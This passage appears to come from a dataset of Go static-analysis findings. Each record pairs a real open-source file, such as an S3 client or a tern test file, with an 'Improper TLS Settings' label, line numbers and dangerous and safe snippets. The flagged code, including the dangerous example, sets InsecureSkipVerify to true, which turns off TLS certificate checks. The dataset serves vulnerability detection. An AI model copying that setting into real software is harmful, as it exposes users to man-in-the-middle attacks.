c.cfg.PublicS3Bucket)\n}\n\nfunc (c *S3Client) uploadStream(ctx context.Context, reader io.Reader, objectName, bucket string, uploader s3manageriface.UploaderAPI) error {\n\tlog := logutil.FromContext(ctx, c.log)\n\t_, err := uploader.Upload(&s3manager.UploadInput{\n\t\tBucket: aws.String(bucket),\n\t\tKey: aws.String(objectName),\n\t\tBody: reader,\n\t})\n\tif err != nil {\n\t\terr = errors.Wrapf(err, \"Unable to upload %s to bucket %s\", objectName, bucket)\n\t\tlog.Error(err)\n\t\treturn err\n\t}\n\tlog.Infof(\"Successfully uploaded %s to bucket %s\", objectName, bucket)\n\treturn err\n}\n\nfunc (c *S3Client) UploadStream(ctx context.Context, reader io.Reader, objectName string) error {\n\treturn c.uploadStream(ctx, reader, objectName, c.cfg.S3Bucket, c.uploader)\n}\n\nfunc (c *S3Client) UploadStreamToPublicBucket(ctx context.Context, reader io.Reader, objectName string) error {\n\treturn c.uploadStream(ctx, reader, objectName, c.cfg.PublicS3Bucket, c.publicUploader)\n}\n\nfunc (c *S3Client) uploadFile(ctx context.Context, filePath, objectName, bucket string, uploader s3manageriface.UploaderAPI) error {\n\tlog := logutil.FromContext(ctx, c.log)\n\tlog.Infof(\"Uploading file %s as object %s to bucket %s\", filePath, objectName, bucket)\n\tfile, err := os.Open(filePath)\n\tif err != nil {\n\t\terr = errors.Wrapf(err, \"Unable to open file %s for upload\", filePath)\n\t\tlog.Error(err)\n\t\treturn err\n\t}\n\tdefer file.Close()\n\n\treader := bufio.NewReader(file)\n\treturn c.uploadStream(ctx, reader, objectName, bucket, uploader)\n}\n\nfunc (c *S3Client) UploadFile(ctx context.Context, filePath, objectName string) error {\n\treturn c.uploadFile(ctx, filePath, objectName, c.cfg.S3Bucket, c.uploader)\n}\n\nfunc (c *S3Client) UploadFileToPublicBucket(ctx context.Context, filePath, objectName string) error {\n\treturn c.uploadFile(ctx, filePath, objectName, c.cfg.PublicS3Bucket, c.publicUploader)\n}\n\nfunc (c *S3Client) UploadISO(ctx context.Context, ignitionConfig, srcObject, destObjectPrefix string) error {\n\tdestObjectName := fmt.Sprintf(\"%s.iso\", destObjectPrefix)\n\treturn c.isoUploader.UploadISO(ctx, ignitionConfig, srcObject, destObjectName)\n}\n\nfunc (c *S3Client) Upload(ctx context.Context, data []byte, objectName string) error {\n\treader := bytes.NewReader(data)\n\treturn c.UploadStream(ctx, reader, objectName)\n}\n\nfunc (c *S3Client) download(ctx context.Context, objectName, bucket string, client s3iface.S3API) (io.ReadCloser, int64, error) {\n\tlog := logutil.FromContext(ctx, c.log)\n\tlog.Infof(\"Downloading %s from bucket %s\", objectName, bucket)\n\n\tcontentLength, err := c.getObjectSizeBytes(ctx, objectName, bucket, client)\n\tif err != nil {\n\t\tif transformed, transformedError := c.transformErrorIfNeeded(err, objectName); transformed {\n\t\t\treturn nil, 0, transformedError\n\t\t}\n\n\t\terr = errors.Wrapf(err, \"Failed to fetch metadata for object %s in bucket %s\", objectName, bucket)\n\t\tlog.Error(err)\n\t\treturn nil, 0, err\n\t}\n\n\tgetResp, err := client.GetObject(&s3.GetObjectInput{\n\t\tBucket: aws.String(bucket),\n\t\tKey: aws.String(objectName),\n\t})\n\tif err != nil {\n\t\tlog.WithError(err).Errorf(\"Failed to get %s object from bucket %s\", objectName, bucket)\n\t\treturn nil, 0, err\n\t}\n\n\treturn getResp.Body, contentLength, nil\n}\n\nfunc (c *S3Client) Download(ctx context.Context, objectName string) (io.ReadCloser, int64, error) {\n\treturn c.download(ctx, objectName, c.cfg.S3Bucket, c.client)\n}\n\nfunc (c *S3Client) DownloadPublic(ctx context.Context, objectName string) (io.ReadCloser, int64, error) {\n\treturn c.download(ctx, objectName, c.cfg.PublicS3Bucket, c.client)\n}\n\nfunc (c *S3Client) doesObjectExist(ctx context.Context, objectName, bucket string, client s3iface.S3API) (bool, error) {\n\tlog := logutil.FromContext(ctx, c.log)\n\tlog.Debugf(\"Verifying if %s exists in %s\", objectName, bucket)\n\t_, err := client.HeadObject(&s3.HeadObjectInput{\n\t\tBucket: aws.String(bucket),\n\t\tKey: aws.String(objectName),\n\t})\n\tif err != nil {\n\t\tif aerr, ok := err.(awserr.Error); ok {\n\t\t\tif aerr.Code() == s3.ErrCodeNoSuchKey || aerr.Code() == \"NotFound\" {\n\t\t\t\treturn false, nil\n\t\t\t}\n\t\t\treturn false, errors.Wrap(err, fmt.Sprintf(\"failed to get %s from bucket %s (code %s)\", objectName, bucket, aerr.Code()))\n\t\t}\n\t}\n\treturn true, nil\n}\n\nfunc (c *S3Client) DoesObjectExist(ctx context.Context, objectName string) (bool, error) {\n\treturn c.doesObjectExist(ctx, objectName, c.cfg.S3Bucket, c.client)\n}\n\nfunc (c *S3Client) DoesPublicObjectExist(ctx context.Context, objectName string) (bool, error) {\n\treturn c.doesObjectExist(ctx, objectName, c.cfg.PublicS3Bucket, c.publicClient)\n}\n\nfunc (c *S3Client) DeleteObject(ctx context.Context, objectName string) (bool, error) {\n\tlog := logutil.FromContext(ctx, c.log)\n\tlog.Infof(\"Deleting object %s from %s\", objectName, c.cfg.S3Bucket)\n\n\t_, err := c.client.DeleteObject(&s3.DeleteObjectInput{\n\t\tBucket: aws.String(c.cfg.S3Bucket),\n\t\tKey: aws.String(objectName),\n\t})\n\tif err != nil {\n\t\tif aerr, ok := err.(awserr.Error); ok {\n\t\t\tif aerr.Code() == s3.ErrCodeNoSuchKey || aerr.Code() == \"NotFound\" {\n\t\t\t\tlog.Infof(\"Object %s does not exist in bucket %s\", objectName, c.cfg.S3Bucket)\n\t\t\t\treturn false, nil\n\t\t\t}\n\t\t\treturn false, errors.Wrap(err, fmt.Sprintf(\"Failed to delete object %s from bucket %s (code %s)\", objectName, c.cfg.S3Bucket, aerr.Code()))\n\t\t}\n\t}\n\n\tlog.Infof(\"Deleted object %s from bucket %s\", objectName, c.cfg.S3Bucket)\n\treturn true, nil\n}\n\nfunc (c *S3Client) UpdateObjectTimestamp(ctx context.Context, objectName string) (bool, error) {\n\tlog := logutil.FromContext(ctx, c.log)\n\tlog.Infof(\"Updating timestamp of object %s\", objectName)\n\t_, err := c.client.PutObjectTagging(&s3.PutObjectTaggingInput{\n\t\tBucket: aws.String(c.cfg.S3Bucket),\n\t\tKey: aws.String(objectName),\n\t\tTagging: &s3.Tagging{\n\t\t\tTagSet: []*s3.Tag{\n\t\t\t\t{\n\t\t\t\t\tKey: aws.String(timestampTagKey),\n\t\t\t\t\tValue: aws.String(strconv.FormatInt(time.Now().Unix(), 10)),\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t})\n\n\tif err != nil {\n\t\tif aerr, ok := err.(awserr.Error); ok {\n\t\t\t// S3 returns MethodNotAllowed if an object existed but was deleted\n\t\t\tif aerr.Code() == s3.ErrCodeNoSuchKey || aerr.Code() == \"NotFound\" || aerr.Code() == \"MethodNotAllowed\" {\n\t\t\t\treturn false, nil\n\t\t\t}\n\t\t\treturn false, errors.Wrap(err, fmt.Sprintf(\"Failed to update tags on object %s from bucket %s (code %s)\", objectName, c.cfg.S3Bucket, aerr.Code()))\n\t\t}\n\t}\n\treturn true, nil\n}\n\nfunc (c *S3Client) getObjectSizeBytes(ctx context.Context, objectName, bucket string, client s3iface.S3API) (int64, error) {\n\tlog := logutil.FromContext(ctx, c.log)\n\theadResp, err := client.HeadObject(&s3.HeadObjectInput{\n\t\tBucket: aws.String(bucket),\n\t\tKey: aws.String(objectName),\n\t})\n\tif err != nil {\n\t\terr = errors.Wrapf(err, \"Failed to fetch metadata for object %s in bucket %s\", objectName, bucket)\n\t\tlog.Error(err)\n\t\treturn 0, err\n\t}\n\treturn *headResp.ContentLength, nil\n}\n\nfunc (c *S3Client) GetObjectSizeBytes(ctx context.Context, objectName string) (int64, error) {\n\treturn c.getObjectSizeBytes(ctx, objectName, c.cfg.S3Bucket, c.client)\n}\n\nfunc (c *S3Client) GeneratePresignedDownloadURL(ctx context.Context, objectName string, downloadFilename string, duration time.Duration) (string, error) {\n\tlog := logutil.FromContext(ctx, c.log)\n\treq, _ := c.client.GetObjectRequest(&s3.GetObjectInput{\n\t\tBucket: aws.String(c.cfg.S3Bucket),\n\t\tKey: aws.String(objectName),\n\t\tResponseContentDisposition: aws.String(fmt.Sprintf(\"attachment;filename=%s\", downloadFilename)),\n\t})\n\turlStr, err := req.Presign(duration)\n\tif err != nil {\n\t\terr = errors.Wrapf(err, \"Failed to create presigned download URL for object %s in bucket %s\", objectName, c.cfg.S3Bucket)\n\t\tlog.Error(err)\n\t\treturn \"\", err\n\t}\n\treturn urlStr, nil\n}\n\nfunc (c S3Client) transformErrorIfNeeded(err error, objectName string) (bool, error) {\n\tif aerr, ok := err.(awserr.Error); ok {\n\t\tif aerr.Code() == s3.ErrCodeNoSuchKey || aerr.Code() == \"NotFound\" {\n\t\t\treturn true, common.NotFound(objectName)\n\t\t}\n\t}\n\treturn false, err\n}\n\nfunc (c *S3Client) ExpireObjects(ctx context.Context, prefix string, deleteTime time.Duration,\n\tcallback func(ctx context.Context, log logrus.FieldLogger, objectName string)) {\n\tlog := logutil.FromContext(ctx, c.log)\n\tnow := time.Now()\n\n\tlog.Info(\"Checking for expired objects...\")\n\terr := c.client.ListObjectsPages(&s3.ListObjectsInput{Bucket: &c.cfg.S3Bucket, Prefix: &prefix},\n\t\tfunc(page *s3.ListObjectsOutput, lastPage bool) bool {\n\t\t\tfor _, object := range page.Contents {\n\t\t\t\tc.handleObject(ctx, log, object, now, deleteTime, callback)\n\t\t\t}\n\t\t\treturn !lastPage\n\t\t})\n\tif err != nil {\n\t\tlog.WithError(err).Error(\"Error listing objects\")\n\t\treturn\n\t}\n}\n\nfunc (c *S3Client) handleObject(ctx context.Context, log logrus.FieldLogger, object *s3.Object, now time.Time,\n\tdeleteTime time.Duration, callback func(ctx context.Context, log logrus.FieldLogger, objectName string)) {\n\t// By default we use the object creation time - tags only exist if the same image was created more than once\n\tcreationTime := *object.LastModified\n\t// If this is too new, there is no point in checking tags\n\tif now.Before(creationTime.Add(deleteTime)) {\n\t\treturn\n\t}\n\n\tobjectTags, err := c.client.GetObjectTagging(&s3.GetObjectTaggingInput{Bucket: &c.cfg.S3Bucket, Key: object.Key})\n\tif err != nil {\n\t\tlog.WithError(err).Errorf(\"Error getting tags for object %s\", *object.Key)\n\t\treturn\n\t}\n\n\t// If no tag was created, then the TagSet is an empty list\n\tfor _, tag := range objectTags.TagSet {\n\t\tif *tag.Key == timestampTagKey {\n\t\t\tobjTime, _ := strconv.ParseInt(*tag.Value, 10, 64)\n\t\t\tcreationTime = time.Unix(objTime, 0)\n\t\t}\n\t}\n\n\tif now.After(creationTime.Add(deleteTime)) {\n\t\t_, err := c.DeleteObject(ctx, *object.Key)\n\t\tif err != nil {\n\t\t\tlog.WithError(err).Errorf(\"Error deleting expired object %s\", *object.Key)\n\t\t\treturn\n\t\t}\n\t\tlog.Infof(\"Deleted expired object %s\", *object.Key)\n\t\tcallback(ctx, log, *object.Key)\n\t}\n}\n\nfunc (c *S3Client) ListObjectsByPrefix(ctx context.Context, prefix string) ([]string, error) {\n\tlog := logutil.FromContext(ctx, c.log)\n\tvar objects []string\n\tlog.Infof(\"Listing objects by with prefix %s\", prefix)\n\tresp, err := c.client.ListObjects(&s3.ListObjectsInput{\n\t\tBucket: aws.String(c.cfg.S3Bucket),\n\t\tPrefix: aws.String(prefix),\n\t})\n\tif err != nil {\n\t\terr = errors.Wrapf(err, \"Error listing objects for prefix %s\", prefix)\n\t\tlog.Error(err)\n\t\treturn nil, err\n\t}\n\tfor _, key := range resp.Contents {\n\t\tobjects = append(objects, *key.Key)\n\t}\n\treturn objects, nil\n}\n\nfunc (c *S3Client) UploadISOs(ctx context.Context, openshiftVersion string, haveLatestMinimalTemplate bool) error {\n\tosImage, err := c.versionsHandler.GetOsImage(openshiftVersion)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tbaseIsoObject, err := c.GetBaseIsoObject(openshiftVersion)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tminimalIsoObject, err := c.GetMinimalIsoObjectName(openshiftVersion)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn c.uploadISOs(ctx, baseIsoObject, minimalIsoObject, *osImage.URL, openshiftVersion, haveLatestMinimalTemplate)\n}\n\nfunc (c *S3Client) uploadISOs(ctx context.Context, isoObjectName, minimalIsoObject, isoURL, openshiftVersion string, haveLatestMinimalTemplate bool) error {\n\tlog := logutil.FromContext(ctx, c.log)\n\n\tbaseExists, err := c.DoesPublicObjectExist(ctx, isoObjectName)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tvar minimalExists bool\n\tif !haveLatestMinimalTemplate {\n\t\t// Should update minimal ISO template\n\t\tminimalExists = false\n\t} else {\n\t\tminimalExists, err = c.DoesPublicObjectExist(ctx, minimalIsoObject)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif baseExists && minimalExists {\n\t\treturn nil\n\t}\n\n\tlog.Infof(\"Starting Base ISO download for %s\", isoObjectName)\n\tbaseIsoPath, err := DownloadURLToTemporaryFile(isoURL)\n\tif err != nil {\n\t\tlog.Error(err)\n\t\treturn err\n\t}\n\tdefer os.Remove(baseIsoPath)\n\n\tif !baseExists {\n\t\terr = c.UploadFileToPublicBucket(ctx, baseIsoPath, isoObjectName)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tlog.Infof(\"Successfully uploaded object %s\", isoObjectName)\n\t}\n\n\tif !minimalExists {\n\t\tosImage, err := c.versionsHandler.GetOsImage(openshiftVersion)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif err = CreateAndUploadMinimalIso(ctx, log, baseIsoPath, minimalIsoObject, *osImage.RootfsURL, c, c.isoEditorFactory); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}\n\nfunc (c *S3Client) GetBaseIsoObject(openshiftVersion string) (string, error) {\n\tosImage, err := c.versionsHandler.GetOsImage(openshiftVersion)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn fmt.Sprintf(rhcosObjectTemplate, *osImage.Version), nil\n}\n\nfunc (c *S3Client) GetMinimalIsoObjectName(openshiftVersion string) (string, error) {\n\tosImage, err := c.versionsHandler.GetOsImage(openshiftVersion)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn fmt.Sprintf(rhcosMinimalObjectTemplate, *osImage.Version), nil\n}", "dangerousExampleEn": "1. tlsConfig := &tls.Config{\n2. \tInsecureSkipVerify: true,\n3. }\nLine 2: This is insecure because InsecureSkipVerify is used to skip certificate verification.", "safeExampleEn": "1. tlsConfig := &tls.Config{\n2. \t//InsecureSkipVerify: true,\n3. }\nLine 2: This is secure because InsecureSkipVerify is not used and certificate verification is required.", "contexts": [{"lineNo": 147, "eventType": "sink", "messageKey": "gochk.IMPROPER_TLS_SETTING.GO.defect", "params": {}}]}} {"id": "bd1f253b0df3c2a2a3378ead159b2c5a49b5d7c37b8fbb602c248c42e5e3dc82", "license": {"spdx": ["MIT"], "repo": "muhlemmer/tern", "path": "tern_test.go", "repo_head_hexsha": "ab45981caa5a8e498d5c66c1a208217d9bd76d0c", "stack_hexsha": "f0ee40e472ec1dd35f77d4eb26ff130b5b2d9b97", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper TLS Settings", "issueDescriptionEn": "`InsecureSkipVerify` option sets the client to not verify the SSL/TLS certificate of the server. Using this option can cause vulnerabilities such as a man-in-the-middle attack or certificate forgery because the certificate for the server is not verified.\nBecause `InsecureSkipVerify` is `false` by default, it is secure unless declared as true.", "issueLineNumber": 66, "entireCode": "package main_test\n\nimport (\n\t\"context\"\n\t\"crypto/tls\"\n\t\"fmt\"\n\t\"os\"\n\t\"os/exec\"\n\t\"regexp\"\n\t\"strconv\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/jackc/pgx/v4\"\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n\t\"github.com/vaughan0/go-ini\"\n)\n\nfunc TestMain(m *testing.M) {\n\terr := exec.Command(\"go\", \"build\", \"-o\", \"tmp/tern\").Run()\n\tif err != nil {\n\t\tfmt.Println(\"Failed to build tern binary:\", err)\n\t\tos.Exit(1)\n\t}\n\n\tos.Exit(m.Run())\n}\n\nfunc readConfig(path string) (*pgx.ConnConfig, error) {\n\tfile, err := ini.LoadFile(path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcp, _ := pgx.ParseConfig(\"\")\n\tif s, ok := file.Get(\"database\", \"host\"); ok {\n\t\tcp.Host = s\n\t}\n\tif p, ok := file.Get(\"database\", \"port\"); ok {\n\t\tn, err := strconv.ParseUint(p, 10, 16)\n\t\tcp.Port = uint16(n)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tif s, ok := file.Get(\"database\", \"database\"); ok {\n\t\tcp.Database = s\n\t}\n\tif s, ok := file.Get(\"database\", \"user\"); ok {\n\t\tcp.User = s\n\t}\n\tif s, ok := file.Get(\"database\", \"Password\"); ok {\n\t\tcp.Password = s\n\t}\n\n\treturn cp, nil\n}\n\nfunc connectConn(t *testing.T) *pgx.Conn {\n\tctx := context.Background()\n\tconnConfig, err := readConfig(\"testdata/tern.conf\")\n\trequire.NoError(t, err)\n\n\tconnConfig.TLSConfig = &tls.Config{InsecureSkipVerify: true}\n\n\tconn, err := pgx.ConnectConfig(ctx, connConfig)\n\tif err != nil {\n\t\tconnConfig.TLSConfig = nil\n\t\tconn, err = pgx.ConnectConfig(ctx, connConfig)\n\t}\n\trequire.NoError(t, err)\n\n\treturn conn\n}\n\nfunc tableExists(t *testing.T, tableName string) bool {\n\tctx := context.Background()\n\tconn := connectConn(t)\n\tdefer conn.Close(ctx)\n\n\tvar exists bool\n\terr := conn.QueryRow(\n\t\tctx,\n\t\t\"select exists(select 1 from information_schema.tables where table_catalog=current_database() and table_name=$1)\",\n\t\ttableName,\n\t).Scan(&exists)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\treturn exists\n}\n\nfunc currentVersion(t *testing.T) int32 {\n\toutput := tern(t, \"status\", \"-m\", \"testdata\", \"-c\", \"testdata/tern.conf\")\n\tre := regexp.MustCompile(`version:\\s+(\\d+)`)\n\tmatch := re.FindStringSubmatch(output)\n\tif match == nil {\n\t\tt.Fatalf(\"could not extract current version from status:\\n%s\", output)\n\t}\n\n\tn, err := strconv.ParseInt(match[1], 10, 32)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\treturn int32(n)\n}\n\nfunc tern(t *testing.T, args ...string) string {\n\tcmd := exec.Command(\"tmp/tern\", args...)\n\toutput, err := cmd.CombinedOutput()\n\tif err != nil {\n\t\tt.Fatalf(\"tern failed with: %v\\noutput:\\n%v\", err, string(output))\n\t}\n\n\treturn string(output)\n}\n\nfunc TestInitWithoutDirectory(t *testing.T) {\n\tdefer func() {\n\t\tos.Remove(\"tern.conf\")\n\t\tos.Remove(\"001_create_people.sql.example\")\n\t}()\n\n\ttern(t, \"init\")\n\n\texpectedFiles := []string{\"tern.conf\", \"001_create_people.sql.example\"}\n\tfor _, f := range expectedFiles {\n\t\t_, err := os.Stat(f)\n\t\tif err != nil {\n\t\t\tt.Errorf(`Expected init to create \"%s\", but it didn't: %v`, f, err)\n\t\t}\n\t}\n}\n\nfunc TestInitWithDirectory(t *testing.T) {\n\tdefer func() {\n\t\tos.RemoveAll(\"tmp/init\")\n\t}()\n\n\ttern(t, \"init\", \"tmp/init\")\n\n\texpectedFiles := []string{\"tmp/init/tern.conf\", \"tmp/init/001_create_people.sql.example\"}\n\tfor _, f := range expectedFiles {\n\t\t_, err := os.Stat(f)\n\t\tif err != nil {\n\t\t\tt.Errorf(`Expected init to create \"%s\", but it didn't: %v`, f, err)\n\t\t}\n\t}\n}\n\nfunc TestNew(t *testing.T) {\n\tpath := \"tmp/new\"\n\tdefer func() {\n\t\tos.RemoveAll(path)\n\t}()\n\n\ttern(t, \"init\", path)\n\ttern(t, \"new\", \"-m\", path, \"first\")\n\ttern(t, \"new\", \"-m\", path, \"second\")\n\n\texpectedFiles := []string{\"tmp/new/001_first.sql\", \"tmp/new/002_second.sql\"}\n\tfor _, f := range expectedFiles {\n\t\t_, err := os.Stat(f)\n\t\tif err != nil {\n\t\t\tt.Errorf(`Expected init to create \"%s\", but it didn't: %v`, f, err)\n\t\t}\n\t}\n}\n\nfunc TestMigrate(t *testing.T) {\n\ttests := []struct {\n\t\targs []string\n\t\texpectedExists []string\n\t\texpectedNotExists []string\n\t\texpectedVersion int32\n\t}{\n\t\t{[]string{\"-d\", \"0\"}, []string{}, []string{\"t1\", \"t2\"}, 0},\n\t\t{[]string{}, []string{\"t1\", \"t2\"}, []string{}, 2},\n\t\t{[]string{\"-d\", \"1\"}, []string{\"t1\"}, []string{\"t2\"}, 1},\n\t\t{[]string{\"-d\", \"-1\"}, []string{}, []string{\"t1\", \"t2\"}, 0},\n\t\t{[]string{\"-d\", \"+1\"}, []string{\"t1\"}, []string{\"t2\"}, 1},\n\t\t{[]string{\"-d\", \"+1\"}, []string{\"t1\", \"t2\"}, []string{}, 2},\n\t\t{[]string{\"-d\", \"-+1\"}, []string{\"t1\", \"t2\"}, []string{}, 2},\n\t}\n\n\tfor i, tt := range tests {\n\t\tbaseArgs := []string{\"migrate\", \"-m\", \"testdata\", \"-c\", \"testdata/tern.conf\"}\n\t\targs := append(baseArgs, tt.args...)\n\n\t\ttern(t, args...)\n\n\t\tfor _, tableName := range tt.expectedExists {\n\t\t\tif !tableExists(t, tableName) {\n\t\t\t\tt.Fatalf(\"%d. Expected table %s to exist, but it doesn't\", i, tableName)\n\t\t\t}\n\t\t}\n\n\t\tfor _, tableName := range tt.expectedNotExists {\n\t\t\tif tableExists(t, tableName) {\n\t\t\t\tt.Fatalf(\"%d. Expected table %s to not exist, but it does\", i, tableName)\n\t\t\t}\n\t\t}\n\n\t\tif currentVersion(t) != tt.expectedVersion {\n\t\t\tt.Fatalf(`Expected current version to be %d, but it was %d`, tt.expectedVersion, currentVersion(t))\n\t\t}\n\t}\n}\n\nfunc TestStatus(t *testing.T) {\n\t// Ensure database is in clean state\n\ttern(t, \"migrate\", \"-m\", \"testdata\", \"-c\", \"testdata/tern.conf\", \"-d\", \"0\")\n\n\toutput := tern(t, \"status\", \"-m\", \"testdata\", \"-c\", \"testdata/tern.conf\")\n\texpected := `status: migration(s) pending\nversion: 0 of 2`\n\tif !strings.Contains(output, expected) {\n\t\tt.Errorf(\"Expected status output to contain `%s`, but it didn't. Output:\\n%s\", expected, output)\n\t}\n\n\t// Up all the way\n\ttern(t, \"migrate\", \"-m\", \"testdata\", \"-c\", \"testdata/tern.conf\")\n\n\toutput = tern(t, \"status\", \"-m\", \"testdata\", \"-c\", \"testdata/tern.conf\")\n\texpected = `status: up to date\nversion: 2 of 2`\n\tif !strings.Contains(output, expected) {\n\t\tt.Errorf(\"Expected status output to contain `%s`, but it didn't. Output:\\n%s\", expected, output)\n\t}\n\n\t// Back one\n\ttern(t, \"migrate\", \"-m\", \"testdata\", \"-c\", \"testdata/tern.conf\", \"-d\", \"1\")\n\n\toutput = tern(t, \"status\", \"-m\", \"testdata\", \"-c\", \"testdata/tern.conf\")\n\texpected = `status: migration(s) pending\nversion: 1 of 2`\n\tif !strings.Contains(output, expected) {\n\t\tt.Errorf(\"Expected status output to contain `%s`, but it didn't. Output:\\n%s\", expected, output)\n\t}\n}\n\nfunc TestInstallCode(t *testing.T) {\n\ttern(t, \"code\", \"install\", \"-c\", \"testdata/tern.conf\", \"testdata/code\")\n\n\tconn := connectConn(t)\n\tdefer conn.Close(context.Background())\n\n\tvar n int\n\terr := conn.QueryRow(context.Background(), \"select add(1,2)\").Scan(&n)\n\trequire.NoError(t, err)\n\tassert.Equal(t, 3, n)\n}\n\nfunc TestCLIArgsWithoutConfigFile(t *testing.T) {\n\t// Ensure database is in clean state\n\ttern(t, \"migrate\", \"-m\", \"testdata\", \"-c\", \"testdata/tern.conf\", \"-d\", \"0\")\n\n\tconnConfig, err := readConfig(\"testdata/tern.conf\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\toutput := tern(t, \"status\",\n\t\t\"-m\", \"testdata\",\n\t\t\"--host\", connConfig.Host,\n\t\t\"--port\", strconv.FormatInt(int64(connConfig.Port), 10),\n\t\t\"--user\", connConfig.User,\n\t\t\"--password\", connConfig.Password,\n\t\t\"--database\", connConfig.Database,\n\t)\n\texpected := `status: migration(s) pending\nversion: 0 of 2`\n\tif !strings.Contains(output, expected) {\n\t\tt.Errorf(\"Expected status output to contain `%s`, but it didn't. Output:\\n%s\", expected, output)\n\t}\n}\n\nfunc TestConfigFileTemplateEvalWithEnvVar(t *testing.T) {\n\t// Ensure database is in clean state\n\ttern(t, \"migrate\", \"-m\", \"testdata\", \"-c\", \"testdata/tern.conf\", \"-d\", \"0\")\n\n\tconnConfig, err := readConfig(\"testdata/tern.conf\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\terr = os.Setenv(\"TERNHOST\", connConfig.Host)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer func() {\n\t\terr := os.Unsetenv(\"TERNHOST\")\n\t\tif err != nil {\n\t\t\tt.Fatal(err)\n\t\t}\n\t}()\n\n\toutput := tern(t, \"status\",\n\t\t\"-c\", \"testdata/tern-envvar-deprecated.conf\",\n\t\t\"-m\", \"testdata\",\n\t\t\"--port\", strconv.FormatInt(int64(connConfig.Port), 10),\n\t\t\"--user\", connConfig.User,\n\t\t\"--password\", connConfig.Password,\n\t\t\"--database\", connConfig.Database,\n\t)\n\texpected := `status: migration(s) pending\nversion: 0 of 2`\n\tif !strings.Contains(output, expected) {\n\t\tt.Errorf(\"Expected status output to contain `%s`, but it didn't. Output:\\n%s\", expected, output)\n\t}\n}\n\nfunc TestConfigFileTemplateEvalWithDeprecatedEnvVar(t *testing.T) {\n\t// Ensure database is in clean state\n\ttern(t, \"migrate\", \"-m\", \"testdata\", \"-c\", \"testdata/tern.conf\", \"-d\", \"0\")\n\n\tconnConfig, err := readConfig(\"testdata/tern.conf\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\terr = os.Setenv(\"TERNHOST\", connConfig.Host)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer func() {\n\t\terr := os.Unsetenv(\"TERNHOST\")\n\t\tif err != nil {\n\t\t\tt.Fatal(err)\n\t\t}\n\t}()\n\n\toutput := tern(t, \"status\",\n\t\t\"-c\", \"testdata/tern-envvar-deprecated.conf\",\n\t\t\"-m\", \"testdata\",\n\t\t\"--port\", strconv.FormatInt(int64(connConfig.Port), 10),\n\t\t\"--user\", connConfig.User,\n\t\t\"--password\", connConfig.Password,\n\t\t\"--database\", connConfig.Database,\n\t)\n\texpected := `status: migration(s) pending\nversion: 0 of 2`\n\tif !strings.Contains(output, expected) {\n\t\tt.Errorf(\"Expected status output to contain `%s`, but it didn't. Output:\\n%s\", expected, output)\n\t}\n}\n\nfunc TestSSHTunnel(t *testing.T) {\n\thost := os.Getenv(\"TERN_HOST\")\n\tif host == \"\" {\n\t\tt.Skip(\"Skipping SSH Tunnel test due to missing TERN_HOST environment variable\")\n\t}\n\n\tuser := os.Getenv(\"TERN_USER\")\n\tif user == \"\" {\n\t\tt.Skip(\"Skipping SSH Tunnel test due to missing TERN_USER environment variable\")\n\t}\n\n\tpassword := os.Getenv(\"\")\n\tif password == \"\" {\n\t\tt.Skip(\"Skipping SSH Tunnel test due to missing TERN_PASSWORD environment variable\")\n\t}\n\n\tdatabase := os.Getenv(\"TERN_DATABASE\")\n\tif database == \"\" {\n\t\tt.Skip(\"Skipping SSH Tunnel test due to missing TERN_DATABASE environment variable\")\n\t}\n\n\t// Ensure database is in clean state\n\ttern(t, \"migrate\", \"-m\", \"testdata\", \"-c\", \"testdata/tern.conf\", \"-d\", \"0\")\n\n\toutput := tern(t, \"status\",\n\t\t\"-m\", \"testdata\",\n\t\t\"--ssh-host\", \"localhost\",\n\t\t\"--host\", host,\n\t\t\"--user\", user,\n\t\t\"--password\", password,\n\t\t\"--database\", database,\n\t)\n\texpected := `status: migration(s) pending\nversion: 0 of 2`\n\tif !strings.Contains(output, expected) {\n\t\tt.Errorf(\"Expected status output to contain `%s`, but it didn't. Output:\\n%s\", expected, output)\n\t}\n}", "dangerousExampleEn": "1. tlsConfig := &tls.Config{\n2. \tInsecureSkipVerify: true,\n3. }\nLine 2: This is insecure because InsecureSkipVerify is used to skip certificate verification.", "safeExampleEn": "1. tlsConfig := &tls.Config{\n2. \t//InsecureSkipVerify: true,\n3. }\nLine 2: This is secure because InsecureSkipVerify is not used and certificate verification is required.", "contexts": [{"lineNo": 66, "eventType": "sink", "messageKey": "gochk.IMPROPER_TLS_SETTING.GO.defect", "params": {}}]}} {"id": "c93f0dfd3b8fcc16f29f999d5dfe064000aae5250121e312698f61ce50d629bd", "license": {"spdx": ["Apache-2.0"], "repo": "tsconn23/ones-demo-2021", "path": "internal/mutator/worker.go", "repo_head_hexsha": "006e96cd62a5d033659bc99ec018d77fd7f96545", "stack_hexsha": "575e00a1c89ffccb8799290160df1eca121d617a", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper TLS Settings", "issueDescriptionEn": "`InsecureSkipVerify` option sets the client to not verify the SSL/TLS certificate of the server. Using this option can cause vulnerabilities such as a man-in-the-middle attack or certificate forgery because the certificate for the server is not verified.\nBecause `InsecureSkipVerify` is `false` by default, it is secure unless declared as true.", "issueLineNumber": 81, 